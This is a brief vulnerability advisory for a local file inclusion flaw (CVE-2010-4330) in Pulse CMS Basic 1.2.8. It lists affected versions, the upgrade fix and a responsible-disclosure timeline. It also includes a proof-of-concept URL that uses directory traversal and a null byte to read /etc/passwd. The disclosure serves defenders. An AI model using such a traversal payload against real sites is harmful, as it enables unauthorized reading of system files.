'Pulse CMS Basic' Local File Inclusion Vulnerability (CVE-2010-4330)
Mark Stanislav - [email protected]
A vulnerability exists in the 'includes/controller.php' script that allows for arbitrary local file inclusion due to a null-byte attack.
Version 1.2.8
< 1.2.9
http://www.example.com/index.php?p=/../../../../../../../../../../../../../../etc/passwd%00
Upgrade all previously installed versions to 1.2.9
http://pulsecms.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4330
http://www.uncompiled.com/2010/12/pulse-cms-basic-local-file-inclusion-vulnerability-cve-2010-4330/
11/24/2010: Initial vendor disclosure
11/25/2010: Vendor response that they had fixed the issue & updated the existing version (1.2.8)
11/25/2010: Replied to vendor inquiring if a new point release would be made and affected versions
11/26/2010: Vendor response noting a version increment was coming & vulnerable versions confirmation
11/26/2010: Pulse CMS Basic 1.2.9 released
12/05/2010: Public disclosure